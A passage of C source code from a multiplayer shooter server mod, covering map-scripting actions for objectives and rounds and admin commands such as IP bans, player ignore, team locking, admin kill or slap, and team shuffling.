*/
qboolean G_ScriptAction_ObjectiveShortAlliedDesc( gentity_t *ent, char *params )
{
char *pString, *token;
char cs[MAX_STRING_CHARS];
int num, cs_obj = CS_MULTI_OBJECTIVE1;
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_ObjectiveShortAlliedDesc: number parameter required\n" );
}
num = atoi( token );
if ( num < 1 || num > MAX_OBJECTIVES ) {
G_Error( "G_ScriptAction_ObjectiveShortAlliedDesc: Invalid objective number\n" );
}
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_ObjectiveShortAlliedDesc: description parameter required\n" );
}
// Move to correct objective config string
cs_obj += (num - 1);
trap_GetConfigstring( cs_obj, cs, sizeof(cs) );
// NERVE - SMF - compare before setting, so we don't spam the clients during map_restart
if ( Q_stricmp( Info_ValueForKey( cs, "short_allied_desc" ), token ) ) {
Info_SetValueForKey( cs, "short_allied_desc", token );
trap_SetConfigstring( cs_obj, cs );
}
return qtrue;
}
/*
===================
G_ScriptAction_ObjectiveImage
syntax: wm_objective_image <objective_number> <shadername>
===================
*/
qboolean G_ScriptAction_ObjectiveImage( gentity_t *ent, char *params )
{
char *pString, *token;
char cs[MAX_STRING_CHARS];
int num, cs_obj = CS_MULTI_OBJECTIVE1;
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_ObjectiveImage: number parameter required\n" );
}
num = atoi( token );
if ( num < 1 || num > MAX_OBJECTIVES ) {
G_Error( "G_ScriptAction_ObjectiveImage: Invalid objective number\n" );
}
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_ObjectiveImage: shadername parameter required\n" );
}
// Move to correct objective config string
cs_obj += (num - 1);
trap_GetConfigstring( cs_obj, cs, sizeof(cs) );
// NERVE - SMF - compare before setting, so we don't spam the clients during map_restart
if ( Q_stricmp( Info_ValueForKey( cs, "image" ), token ) ) {
Info_SetValueForKey( cs, "image", token );
trap_SetConfigstring( cs_obj, cs );
}
return qtrue;
}
/*
===================
G_ScriptAction_SetWinner
syntax: wm_setwinner <team>
team: 0==AXIS, 1==ALLIED
===================
*/
qboolean G_ScriptAction_SetWinner( gentity_t *ent, char *params )
{
char *pString, *token;
char cs[MAX_STRING_CHARS];
int num;
if ( level.intermissiontime ) {
return qtrue;
}
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_SetWinner: number parameter required\n" );
}
num = atoi( token );
if ( num < -1 || num > 1 ) {
G_Error( "G_ScriptAction_SetWinner: Invalid team number\n" );
}
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );
if(g_deathmatch.integer == 2)
Q_strncpyz ( token, "5", 1000 );
// NERVE - SMF - compare before setting, so we don't spam the clients during map_restart
if ( Q_stricmp( Info_ValueForKey( cs, "winner" ), token ) ) {
Info_SetValueForKey( cs, "winner", token );
trap_SetConfigstring( CS_MULTI_MAPWINNER, cs );
}
return qtrue;
}
/*
===================
G_ScriptAction_SetObjectiveStatus
syntax: wm_set_objective_status <status>
status: -1==neutral, 0==held by axis, 1==held by allies
===================
*/
qboolean G_ScriptAction_SetObjectiveStatus( gentity_t *ent, char *params )
{
char *pString, *token;
char cs[MAX_STRING_CHARS];
int num, status, cs_obj = CS_MULTI_OBJ1_STATUS;
if ( level.intermissiontime ) {
return qtrue;
}
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_SetObjectiveStatus: number parameter required\n" );
}
num = atoi( token );
if ( num < 1 || num > MAX_OBJECTIVES ) {
G_Error( "G_ScriptAction_SetObjectiveStatus: Invalid objective number\n" );
}
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_SetObjectiveStatus: status parameter required\n" );
}
status = atoi( token );
if ( status < -1 || status > 1 ) {
G_Error( "G_ScriptAction_SetObjectiveStatus: Invalid status number\n" );
}
// Move to correct objective config string
cs_obj += (num - 1);
trap_GetConfigstring( cs_obj, cs, sizeof(cs) );
// NERVE - SMF - compare before setting, so we don't spam the clients during map_restart
if ( Q_stricmp( Info_ValueForKey( cs, "status" ), token ) ) {
Info_SetValueForKey( cs, "status", token );
trap_SetConfigstring( cs_obj, cs );
}
return qtrue;
}
/*
===================
G_ScriptAction_SetDefendingTeam
syntax: wm_set_objective_status <status>
status: 0==axis, 1==allies
NERVE - SMF - sets defending team for stopwatch mode
===================
*/
qboolean G_ScriptAction_SetDefendingTeam( gentity_t *ent, char *params )
{
char *pString, *token;
char cs[MAX_STRING_CHARS];
int num;
if ( level.intermissiontime ) {
return qtrue;
}
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_SetDefendingTeam: number parameter required\n" );
}
num = atoi( token );
if ( num < 0 || num > 1 ) {
G_Error( "G_ScriptAction_SetDefendingTeam: Invalid team number\n" );
}
trap_GetConfigstring( CS_MULTI_INFO, cs, sizeof(cs) );
Info_SetValueForKey( cs, "defender", token );
trap_SetConfigstring( CS_MULTI_INFO, cs );
return qtrue;
}
/*
===================
G_ScriptAction_Announce
syntax: wm_announce <"text to send to all clients">
===================
*/
qboolean G_ScriptAction_Announce( gentity_t *ent, char *params )
{
char *pString, *token;
if ( level.intermissiontime ) {
return qtrue;
}
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_Announce: statement parameter required\n" );
}
trap_SendServerCommand( -1, va("cp \"%s\" 2", token ));
trap_SendServerCommand(-1, va("print \"^3%s: ^5%s\n\" 2",GetLevelTime(), token));
#ifdef OMNIBOT
{
Bot_Util_SendTrigger(ent, NULL, token, "announce_icon");
}
#endif
return qtrue;
}
/*
===================
G_ScriptAction_EndRound
syntax: wm_endround <>
===================
*/
extern void LogExit( const char *string );
qboolean G_ScriptAction_EndRound( gentity_t *ent, char *params )
{
if ( level.intermissiontime ) {
return qtrue;
}
LogExit( "Wolf EndRound." );
return qtrue;
}
/*
===================
G_ScriptAction_SetRoundTimelimit
syntax: wm_set_round_timelimit <number>
===================
*/
qboolean G_ScriptAction_SetRoundTimelimit( gentity_t *ent, char *params )
{
char *pString, *token;
float nextTimeLimit;
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_SetRoundTimelimit: number parameter required\n" );
}
// NERVE - SMF
nextTimeLimit = g_nextTimeLimit.value;
if ( g_gametype.integer == GT_WOLF_STOPWATCH && nextTimeLimit ) {
trap_Cvar_Set( "timelimit", va( "%f", nextTimeLimit ) );
}
else {
if ( g_userTimeLimit.integer )
trap_Cvar_Set( "timelimit", va( "%i", g_userTimeLimit.integer ) );
else
trap_Cvar_Set( "timelimit", token );
}
return qtrue;
}
/*
===================
G_ScriptAction_RemoveEntity
syntax: remove
===================
*/
qboolean G_ScriptAction_RemoveEntity( gentity_t *ent, char *params )
{
ent->think = G_FreeEntity;
ent->nextthink = level.time + FRAMETIME;
return qtrue;
}
#ifdef OMNIBOT
/*
===================
G_ScriptAction_RepairMG42
syntax: repairmg42 <target>
===================
*/
qboolean G_ScriptAction_RepairMG42( gentity_t *ent, char *params ) {
gentity_t *target;
char *pString, name[MAX_QPATH], *token;
pString = params;
token = COM_ParseExt( &pString, qfalse );
Q_strncpyz( name, token, sizeof(name) );
if (!name[0]) {
G_Error( "G_Scripting: repairmg42 must have a target\n" );
}
// look for entities
target = &g_entities[MAX_CLIENTS-1];
while ((target = G_FindByTargetname( target, name ))) {
if( target->takedamage ) {
continue;
}
if( Q_stricmp( target->classname, "misc_mg42" ) ) {
continue;
}
target->s.frame = 0;
if( target->mg42BaseEnt > 0 ) {
g_entities[ target->mg42BaseEnt ].health = MG42_MULTIPLAYER_HEALTH;
g_entities[ target->mg42BaseEnt ].takedamage = qtrue;
target->health = 0;
} else {
target->health = MG42_MULTIPLAYER_HEALTH;
}
target->takedamage = qtrue;
target->s.eFlags &= ~EF_SMOKING;
{
Bot_Util_SendTrigger(ent, NULL, name, "repair_mg42");
}
}
return qtrue;
}
#endif // OMNIBOT
<file_sep>#include "g_local.h"
#include "S4ND_local.h"
/*
==========
BANIP
==========
*/
void Svcmd_banip_f()
{
FILE *bannedfile;
char arg1[MAX_STRING_TOKENS];
char arg2[MAX_STRING_TOKENS];
char bannedName[MAX_NETNAME];
char buf[5], buf2[5];
char ip1[10];
char ip2[10];
char ip3[10];
char ip4[10];
int clientNum, i, bannedNum, argCount;
gentity_t *traceEnt;
argCount = trap_Argc();
trap_Argv( 1, arg1, sizeof(arg1) );
//addip single ip
if ( argCount == 3 )
trap_Argv( 2, buf, sizeof(buf) );
//addip two ip
else if ( argCount == 4 ){
trap_Argv( 2, arg2, sizeof(arg2) );
trap_Argv( 3, buf, sizeof(buf) );
//ban (to show name of person banned)
}else{
trap_Argv( 2, buf, sizeof(buf) );
trap_Argv( 3, buf2, sizeof(buf2) );
bannedNum = atoi( buf2 );
Q_strncpyz( bannedName, g_entities[bannedNum].client->pers.netname, sizeof( bannedName ) );
}
clientNum = atoi(buf);
if (!strlen(arg1)){
G_Printf("Addip usage:\n-Ban single ip: /addip <ip>\n-Ban range: /addip <from ip> <to ip>\n");
return;
}
// Nobo - chaotic checks to make sure they are adding a valid ip.
// This is "necessary" because adding an invald one can cause server to lag/crash.
#ifdef _WIN32 // I'm not sure why but this isn't working in linux.. Don't want to debug in the VM (could be BreakIP or strlen)
if ( argCount == 4 ) {
if ( strlen(arg1) > 15 || strlen(arg2) > 15 || strlen(arg1) < 7 || strlen(arg2) < 7 ){
trap_SendServerCommand(clientNum, va("print \"^3Invalid ip(s) given\n\""));
return;
}
if ( BreakIP(arg1, ip1, ip2, ip3, ip4 ) ) {
if ( strlen(ip1) > 3 || strlen(ip1) < 1 || strlen(ip2) > 3 || strlen(ip2) < 1 || strlen(ip3) > 3 || strlen(ip3) < 1 || strlen(ip4) > 3 || strlen(ip4) < 1 ){
trap_SendServerCommand(clientNum, va("print \"^3Invalid ip: first ip given\n\""));
return;
}
}else{
trap_SendServerCommand(clientNum, va("print \"^3Invalid ip: first ip given\n\""));
return;
}
if ( BreakIP(arg2, ip1, ip2, ip3, ip4 ) ) {
if ( strlen(ip1) > 3 || strlen(ip1) < 1 || strlen(ip2) > 3 || strlen(ip2) < 1 || strlen(ip3) > 3 || strlen(ip3) < 1 || strlen(ip4) > 3 || strlen(ip4) < 1 ){
trap_SendServerCommand(clientNum, va("print \"^3Invalid ip: second ip given\n\""));
return;
}
}else{
trap_SendServerCommand(clientNum, va("print \"^3Invalid ip: second ip given\n\""));
return;
}
} else {
if ( strlen(arg1) > 15 || strlen(arg1) < 7 ){
trap_SendServerCommand(clientNum, va("print \"^3Invalid ip given\n\""));
return;
}
if ( BreakIP(arg1, ip1, ip2, ip3, ip4 ) ) {
if ( strlen(ip1) > 3 || strlen(ip1) < 1 || strlen(ip2) > 3 || strlen(ip2) < 1 || strlen(ip3) > 3 || strlen(ip3) < 1 || strlen(ip4) > 3 || strlen(ip4) < 1 ){
trap_SendServerCommand(clientNum, va("print \"^3Invalid ip given\n\""));
return;
}
}else{
trap_SendServerCommand(clientNum, va("print \"^3Invalid ip given\n\""));
return;
}
}
#endif
bannedfile=fopen("banned.txt","a+");//Open file
if ( argCount == 4 ){
fputs( va("%s-%s|\n",arg1,arg2),bannedfile );
trap_SendServerCommand( clientNum, va("print \"^3Ip range successfully added\n\"") );
G_LogPrintf ( "%s-%s was added to the banned ip list\n", arg1,arg2 );
trap_SendServerCommand( -1, va("chat \"console: %.99s ^3banned ip range %s to %s\n\"", g_entities[clientNum].client->pers.netname, arg1, arg2) );
}else{
fputs( va("%s-%s|\n",arg1,arg1),bannedfile );
trap_SendServerCommand( clientNum, va("print \"^3Ip successfully added\n\"") );
G_LogPrintf ( "%s was added to the banned ip list\n", arg1 );
BreakIP( arg1, ip1, ip2, ip3, ip4 );
for ( i = 0; i < g_maxclients.integer; i++ ){
traceEnt = &g_entities[i];
if ( g_entities[i].client->pers.connected != CON_CONNECTED )
continue;
if ( argCount == 3 ){
if (traceEnt->client->sess.admin)
trap_SendServerCommand( i, va("chat \"console: %.99s ^3banned ip %s\n\"", g_entities[clientNum].client->pers.netname, arg1) );
else
trap_SendServerCommand( i, va("chat \"console: %.99s ^3banned ip %s.%s.*.*\n\"", g_entities[clientNum].client->pers.netname, ip1, ip2) );
}else if ( argCount == 5 ){
if (traceEnt->client->sess.admin)
trap_SendServerCommand( i, va("chat \"console: %s ^7[^3%s^7] ^3banned by ^7%.99s\n\"", bannedName, arg1, g_entities[clientNum].client->pers.netname) );
else
trap_SendServerCommand( i, va("chat \"console: %s ^7[^3%s.%s.*.*^7] ^3banned by ^7%.99s\n\"", bannedName, ip1, ip2, g_entities[clientNum].client->pers.netname) );
}
}
}
fclose( bannedfile );
}
void rewrite_banned(void){
FILE *bannedfile;
FILE *tempfile;
char tempbannedips[MAX_STRING_TOKENS];
bannedfile=fopen("banned.txt","w+");
tempfile=fopen("bannedtemp.txt","r+");
while (fgets(tempbannedips,20,tempfile)!=NULL)
{
fputs(tempbannedips,bannedfile);
}
fclose(bannedfile);
fclose(tempfile);
remove("bannedtemp.txt");
}
qboolean write_bannedtemp(const char ip[40]){
FILE *bannedfile;
FILE *tempfile;
char bannedips[MAX_STRING_TOKENS];
char ipfrom[20];
char ipto[20];
char _ipfrom[20];
char _ipto[20];
qboolean found = qfalse;
BreakRange(ip,_ipfrom,_ipto);
bannedfile=fopen("banned.txt","r+");
if(bannedfile){
tempfile=fopen("bannedtemp.txt","w+");
while (fgets(bannedips,1024,bannedfile)!=NULL)
{
Q_strncpyz ( ipfrom, "", sizeof( ipfrom ) );
Q_strncpyz ( ipto, "", sizeof( ipto ) );
BreakRange(bannedips,ipfrom,ipto);
if ((!Q_stricmp (ipfrom, ip) && !Q_stricmp (ipto, ip)) || (!Q_stricmp (ipfrom, _ipfrom) && !Q_stricmp (_ipto, ipto)))
found = qtrue;
else
fputs (bannedips,tempfile);
}
fclose(bannedfile);
fclose(tempfile);
if (found){
remove("banned.txt");
rewrite_banned();
}else
remove("bannedtemp.txt");
}
return found;
}
/*
==========
REMOVEIP
==========
*/
void Svcmd_Unbanip_f(void)
{
//char ip[20];
char arg1[MAX_STRING_TOKENS];
char arg2[MAX_STRING_TOKENS];
char buf[5];
char ip1[10];
char ip2[10];
char ip3[10];
char ip4[10];
int clientNum, i;
gentity_t *traceEnt;
trap_Argv(1, arg1, sizeof(arg1));
if (trap_Argc() == 3)
trap_Argv(2, buf, sizeof(buf));
else{
trap_Argv(2, arg2, sizeof(arg2));
trap_Argv(3, buf, sizeof(buf));
}
clientNum = atoi(buf);
if (!strlen(arg1)){
G_Printf("Removeip usage:\n-Remove single ip: /removeip <ip>\n-Remove range: /removeip <from ip> <to ip>\n");
return;
}
if (trap_Argc() == 3){
if (!write_bannedtemp(va("%s",arg1)))
trap_SendServerCommand(clientNum, va("print \"^3Ip not found\n\""));
else{
trap_SendServerCommand(clientNum, va("print \"^3Ip successfully removed\n\""));
BreakIP(arg1, ip1, ip2, ip3, ip4);
for (i=0;i<g_maxclients.integer;i++){
traceEnt = &g_entities[i];
if (g_entities[i].client->pers.connected != CON_CONNECTED)
continue;
if (traceEnt->client->sess.admin)
trap_SendServerCommand(i, va("print \"console: %.99s ^3unbanned ip %s\n\"", g_entities[clientNum].client->pers.netname, arg1));
else
trap_SendServerCommand(i, va("print \"console: %.99s ^3unbanned ip %s.%s.*.*\n\"", g_entities[clientNum].client->pers.netname, ip1, ip2));
}
}
}else{
if (!write_bannedtemp(va("%s-%s|",arg1, arg2)))
trap_SendServerCommand(clientNum, va("print \"^3Ip range not found\n\""));
else{
trap_SendServerCommand(clientNum, va("print \"^3Ip range successfully removed\n\""));
trap_SendServerCommand(-1, va("chat \"console: %.99s ^3unbanned ip range %s to %s\n\"", g_entities[clientNum].client->pers.netname, arg1, arg2));
}
}
}
/*
============
Svcmd_Test_f
============
*/
void Svcmd_Test_f()
{
//clean_tempbans();
return;
}
/*///////////////////////////////////////////////////
Svcmd_Ignore_f
A command to allow admins to effectively silence annoying
players, while still allowing them to play. An ignored
client cannot use any text chats or voice chats, cannot call
votes, and cannot send private messages. This command is
also implemented through a vote, so that players can vote to
ignore an annoying player even when the admin isn't on the server
*////////////////////////////////////////////////////
void Svcmd_Ignore_f()
{
int clientNum;
int attackerNum=-2;
char buf[5];
if (trap_Argc() < 2)
{
G_Printf("Usage: ignore <clientnum>\n");
return;
}
trap_Argv(1, buf, sizeof(buf));
clientNum = atoi(buf);
if ((clientNum < 0) || (clientNum >= MAX_CLIENTS))
{
G_Printf("Invalid client number\n");
return;
}
if ((!g_entities[clientNum].client) || (level.clients[clientNum].pers.connected != CON_CONNECTED))
{
G_Printf("Client not on server\n");
return;
}
if (trap_Argc() == 3)
{
trap_Argv(2, buf, sizeof(buf));
attackerNum = atoi(buf);
}
g_entities[clientNum].client->sess.ignored = qtrue; //mark them as ignored
if ( attackerNum != -2 ){
trap_SendServerCommand(clientNum, va("cp \"^3You have been ^1ignored ^3by ^7%s\n\"", g_entities[attackerNum].client->pers.netname) ); //let them know they can talk again
trap_SendServerCommand( -1 , va("print \"^7%s ^7has been ignored by %s\n\"",g_entities[clientNum].client->pers.netname, g_entities[attackerNum].client->pers.netname) );
}
else{
trap_SendServerCommand(clientNum, va("cp \"^3You have been ^1ignored ^3by rcon\n\"", g_entities[attackerNum].client->pers.netname)); //and tell them, just so they know
trap_SendServerCommand( -1 , va("print \"^7%s ^7has been ignored by rcon\n\"",g_entities[clientNum].client->pers.netname ));
}
}
/*
=================
Lock
=================
*/
void Cmd_Lock_f( ) {
char arg1[MAX_STRING_TOKENS];
char arg2[MAX_STRING_TOKENS];
trap_Argv(1, arg1, sizeof(arg1));
trap_Argv(2, arg2, sizeof(arg2));
if (!Q_stricmp(arg1,"axis"))
{
if ( g_lockteams.integer == 1 || g_lockteams.integer == 3)
{
return;
}
trap_Cvar_Set( "g_lockteams", "1" );
trap_SendServerCommand( -1, va("chat \"console^7: ^7locked the ^1Axis^7 team.\n\"") );
}
if (!Q_stricmp(arg1,"1"))
{
if ( g_lockteams.integer == 1 || g_lockteams.integer == 3)
{
return;
}
trap_Cvar_Set( "g_lockteams", "1" );
trap_SendServerCommand( -1, va("chat \"console^7: ^7locked the ^1Axis^7 team.\n\"") );
}
if (!Q_stricmp(arg1,"allies"))
{
if ( g_lockteams.integer == 2 || g_lockteams.integer == 3)
{
return;
}
trap_Cvar_Set( "g_lockteams", "2" );
trap_SendServerCommand( -1, va("chat \"console^7: ^7locked the ^4Allies^7 team.\n\"") );
}
if (!Q_stricmp(arg1,"2"))
{
if ( g_lockteams.integer == 2 || g_lockteams.integer == 3)
{
return;
}
trap_Cvar_Set( "g_lockteams", "2" );
trap_SendServerCommand( -1, va("chat \"console^7: ^7locked the ^4Allies^7 team.\n\"") );
}
if (!Q_stricmp(arg1,"both"))
{
if ( g_lockteams.integer == 3)
{
return;
}
trap_Cvar_Set( "g_lockteams", "3" );
trap_SendServerCommand( -1, va("chat \"console^7: ^7locked the ^1Axis^7 and ^4Allied^7 teams.\n\"") );
}
if (!Q_stricmp(arg1,"3"))
{
if ( g_lockteams.integer == 3)
{
return;
}
trap_Cvar_Set( "g_lockteams", "3" );
trap_SendServerCommand( -1, va("chat \"console^7: ^7locked the ^1Axis^7 and ^4Allied^7 teams.\n\"") );
}
}
/*
=================
Unlock
=================
*/
void Cmd_Unlock_f( ) {
char arg1[MAX_STRING_TOKENS];
char arg2[MAX_STRING_TOKENS];
trap_Argv(1, arg1, sizeof(arg1));
trap_Argv(2, arg2, sizeof(arg2));
if (!Q_stricmp(arg1,"axis"))
{
if ( g_lockteams.integer != 1 && g_lockteams.integer != 3 )
{
return;
}
if ( g_lockteams.integer == 3)
{
trap_Cvar_Set( "g_lockteams", "2" );
}
if ( g_lockteams.integer == 1)
{
trap_Cvar_Set( "g_lockteams", "0" );
}
trap_SendServerCommand( -1, va("chat \"console^7: ^7Unlocked the ^1Axis^7 team.\n\"") );
}
if (!Q_stricmp(arg1,"1"))
{
if ( g_lockteams.integer != 1 && g_lockteams.integer != 3 )
{
return;
}
if ( g_lockteams.integer == 3)
{
trap_Cvar_Set( "g_lockteams", "2" );
}
if ( g_lockteams.integer == 1)
{
trap_Cvar_Set( "g_lockteams", "0" );
}
trap_SendServerCommand( -1, va("chat \"console^7: ^7Unlocked the ^1Axis^7 team.\n\"") );
}
if (!Q_stricmp(arg1,"allies"))
{
if ( g_lockteams.integer != 2 && g_lockteams.integer != 3)
return;
if ( g_lockteams.integer == 3)
trap_Cvar_Set( "g_lockteams", "1" );
if ( g_lockteams.integer == 2)
trap_Cvar_Set( "g_lockteams", "0" );
trap_SendServerCommand( -1, va("chat \"console^7: ^7Unlocked the ^4Allies^7 team.\n\"") );
}
if (!Q_stricmp(arg1,"2"))
{
if ( g_lockteams.integer != 2 && g_lockteams.integer != 3)
{
return;
}
if ( g_lockteams.integer == 3)
{
trap_Cvar_Set( "g_lockteams", "1" );
}
if ( g_lockteams.integer == 1)
{
trap_Cvar_Set( "g_lockteams", "0" );
}
trap_SendServerCommand( -1, va("chat \"^7console^7: ^7Unlocked the ^4Allies^7 team.\n\"") );
}
if (!Q_stricmp(arg1,"both"))
{
if ( g_lockteams.integer != 3)
{
return;
}
trap_Cvar_Set( "g_lockteams", "0" );
trap_SendServerCommand( -1, va("chat \"^7console^7: ^7Unlocked the ^1Axis^7 and ^4Allied^7 teams.\n\"") );
}
if (!Q_stricmp(arg1,"3"))
{
if ( g_lockteams.integer != 3)
{
return;
}
trap_Cvar_Set( "g_lockteams", "0" );
trap_SendServerCommand( -1, va("chat \"^7console^7: ^7Unlocked the ^1Axis^7 and ^4Allied^7 teams.\n\"") );
}
}
/*///////////////////////////////////////////////////
Svcmd_Unignore_f
This command simply removes the 'ignore' placed on a
player previously. It is also implemented as a client
vote.
*////////////////////////////////////////////////////
void Svcmd_Unignore_f()
{
int clientNum;
int attackerNum=-2;
char buf[5];
if (trap_Argc() < 2)
{
G_Printf("Usage: unignore <clientnum>\n");
return;
}
trap_Argv(1, buf, sizeof(buf));
clientNum = atoi(buf);
if ((clientNum < 0) || (clientNum >= MAX_CLIENTS))
{
G_Printf("Invalid client number.\n");
return;
}
if ((!g_entities[clientNum].client) || (level.clients[clientNum].pers.connected != CON_CONNECTED))
{
G_Printf("Client not on server.\n");
return;
}
if (trap_Argc() == 3)
{
trap_Argv(2, buf, sizeof(buf));
attackerNum = atoi(buf);
}
g_entities[clientNum].client->sess.ignored = qfalse;
if ( attackerNum != -2 ){
trap_SendServerCommand(clientNum, va("cp \"%s ^3has ^2unignored ^3you\n\"", g_entities[attackerNum].client->pers.netname)); //and tell them, just so they know
trap_SendServerCommand( -1 , va("print \"^7%s ^7has been unignored by ^7%s\n\"",g_entities[clientNum].client->pers.netname, g_entities[attackerNum].client->pers.netname ));
}
else{
trap_SendServerCommand(clientNum, va("cp \"^3You have been ^2unignored ^3by rcon\n\"", g_entities[attackerNum].client->pers.netname)); //and tell them, just so they know
trap_SendServerCommand( -1 , va("print \"^7%s ^7has been unignored by rcon\n\"",g_entities[clientNum].client->pers.netname ));
}
}
/*
=================
kill
=================
*/
void Svcmd_Kill_f(){
int clientNum;
int attackerNum=-2;
char buf[5];
gentity_t *attacker=NULL;
if (trap_Argc() < 2)
{
G_Printf("Usage: kill <clientnum>\n");
return;
}
trap_Argv(1, buf, sizeof(buf));
clientNum = atoi(buf);
if ((clientNum < 0) || (clientNum >= MAX_CLIENTS))
{
G_Printf("Invalid client number.\n");
return;
}
if ((!g_entities[clientNum].client) || (level.clients[clientNum].pers.connected != CON_CONNECTED))
{
G_Printf("Client not on server.\n");
return;
}
if (g_entities[clientNum].client->sess.sessionTeam == TEAM_SPECTATOR)
return;
if (trap_Argc() == 3)
{
trap_Argv(2, buf, sizeof(buf));
attackerNum = atoi(buf);
attacker = &g_entities[attackerNum];
}
if ( g_entities[clientNum].client->ps.stats[STAT_HEALTH] > 0 ){
g_entities[clientNum].client->ps.persistant[PERS_HWEAPON_USE] = 0;
G_Damage(&g_entities[clientNum], NULL, attacker, NULL, NULL, 1000000, 99999, MOD_ADMIN_KILL);
if ( attackerNum == -2 )
trap_SendServerCommand(clientNum, va("chat \"console: ^3You were killed by rcon\n\""));
else
trap_SendServerCommand(clientNum, va("chat \"console: ^3You were killed by ^7%s\n\"", g_entities[attackerNum].client->pers.netname));
}
}
/*
=================
slap
=================
*/
void Svcmd_Slap_f()
{
int clientNum;
int attackerNum=-2;
char buf[5];
gentity_t *attacker=NULL;
if (trap_Argc() < 2)
{
G_Printf("Usage: slap <clientnum>\n");
return;
}
trap_Argv(1, buf, sizeof(buf));
clientNum = atoi(buf);
if ((clientNum < 0) || (clientNum >= MAX_CLIENTS))
{
G_Printf("Invalid client number.\n");
return;
}
if ((!g_entities[clientNum].client) || (level.clients[clientNum].pers.connected != CON_CONNECTED))
{
G_Printf("Client not on server.\n");
return;
}
if (trap_Argc() == 3)
{
trap_Argv(2, buf, sizeof(buf));
attackerNum = atoi(buf);
attacker = &g_entities[attackerNum];
}
if( g_entities[clientNum].client->ps.stats[STAT_HEALTH] > 0 ){
g_entities[clientNum].client->ps.persistant[PERS_HWEAPON_USE] = 0;
G_Damage(&g_entities[clientNum], NULL, attacker, NULL, NULL, 25, 0, MOD_ADMIN_SLAP);
if ( attackerNum == -2 )
trap_SendServerCommand(clientNum, va("chat \"console: ^3You were slapped by rcon\n\""));
else
trap_SendServerCommand(clientNum, va("chat \"console: ^3You were slapped by ^7%s\n\"", g_entities[attackerNum].client->pers.netname));
G_Sound(&g_entities[clientNum], G_SoundIndex("sound/props/throw/chairthudgrunt.wav"));
}
}
/*
================
Svcmd_tempban_f
================
*/
void Svcmd_tempban_f(void){
int clientNum;
int bannedtime;
gentity_t *ent;
char arg1[MAX_STRING_TOKENS];
char arg2[MAX_STRING_TOKENS];
trap_Argv( 1, arg1, sizeof( arg1 ) );
clientNum = atoi(arg1);
ent = &g_entities[ clientNum ];
trap_Argv( 2, arg2, sizeof( arg2 ) );
bannedtime = atoi(arg2);
TEMPBAN_CLIENT(ent,bannedtime);
}
/*
=================
Headshots Only
=================
*/
void Svcmd_Headshots_f(){
if (g_headshotsOnly.integer !=0){
trap_SendConsoleCommand( EXEC_APPEND, "g_headshotsonly 0\n" );
trap_SendServerCommand(-1, "chat \"console: ^3Headshots only has been ^1disabled\n\"");
}else{
trap_SendConsoleCommand( EXEC_APPEND, "g_headshotsonly 1\n" );
trap_SendServerCommand(-1, "chat \"console: ^3Headshots only has been ^2enabled\n\"");
}
}
/*
=================
shuffle
=================
*/
void Svcmd_Shuffle_f()
{
int count=0, tmpCount, i;
int players[MAX_CLIENTS];
memset(players, -1, sizeof(players));
if (g_gamestate.integer == GS_RESET)
return;
for (i = 0; i < MAX_CLIENTS; i++)
{
//skip client numbers that aren't used
if ((!g_entities[i].inuse) || (level.clients[i].pers.connected != CON_CONNECTED))
continue;
//ignore spectators
if ((level.clients[i].sess.sessionTeam != TEAM_RED) && (level.clients[i].sess.sessionTeam != TEAM_BLUE))
continue;
players[count] = i;
count++;
}
tmpCount = count; //copy the number of active clients
//loop through all the active players
for (i = 0; i < count; i++)
{
int j;
do {
j = (rand() % count);
} while (players[j] == -1);
//put every other random choice on allies
if (i & 1)
level.clients[players[j]].sess.sessionTeam = TEAM_BLUE;
else
level.clients[players[j]].sess.sessionTeam = TEAM_RED;
ClientUserinfoChanged(players[j]);
ClientBegin(players[j]);
players[j] = players[tmpCount-1];
players[tmpCount-1] = -1;
tmpCount--;
}
}
/*
=================
SortClan
=================
*/
void Svcmd_SortClan_f(){
char arg1[MAX_STRING_TOKENS];
char arg2[MAX_STRING_TOKENS];
int allieteam[MAX_CLIENTS];
int axisteam[MAX_CLIENTS];
int alcount = 0;
int axcount = 0;
int i;
trap_Argv( 1, arg1, sizeof( arg1 ) );
trap_Argv( 2, arg2, sizeof( arg2 ) );
if ( !Q_stricmp( arg1, "" ) || !Q_stricmp( arg2, "" ) ) // Nobo Added - Without this it crashes when 0 or 1 argument(s) are given
return;
if (g_gamestate.integer == GS_RESET)
return;
for ( i = 0 ; i < level.maxclients ; i++ ){
//skip client numbers that aren't used
if ((!g_entities[i].inuse) || (level.clients[i].pers.connected != CON_CONNECTED))
continue;
level.clients[i].sess.sessionTeam = TEAM_SPECTATOR;
}
axcount = ClientNumberFromNameMatch(arg1, axisteam);
alcount = ClientNumberFromNameMatch(arg2, allieteam);
for (i = 0; i < axcount; i++){
g_entities[axisteam[i]].client->sess.sessionTeam = TEAM_RED;
}
for (i = 0; i < alcount; i++){
g_entities[allieteam[i]].client->sess.sessionTeam = TEAM_BLUE;
}
//let everyone know teams were sorted
trap_SendServerCommand(-1, va("chat \"console: ^3Clans ^1%s ^3and ^4%s ^3have been sorted.\n\"",arg1, arg2));
//do a map_restart
trap_SendConsoleCommand(EXEC_APPEND, va("map_restart 0 %i\n", GS_WARMUP));
}
/*
=================
ForceClan
=================
*/
void Svcmd_ForceClan_f(){
char arg1[MAX_STRING_TOKENS];
char arg2[MAX_STRING_TOKENS];
int team[MAX_CLIENTS];
int count = 0;
int i;
trap_Argv( 1, arg1, sizeof( arg1 ) );
trap_Argv( 2, arg2, sizeof( arg2 ) );
if (g_gamestate.integer == GS_RESET)
return;
for ( i = 0; i < level.maxclients; i++ ){
//skip client numbers that aren't used
if ((!g_entities[i].inuse) || (level.clients[i].pers.connected != CON_CONNECTED))
continue;
//ignore spectators
if ((level.clients[i].sess.sessionTeam != TEAM_RED) && (level.clients[i].sess.sessionTeam != TEAM_BLUE))
continue;
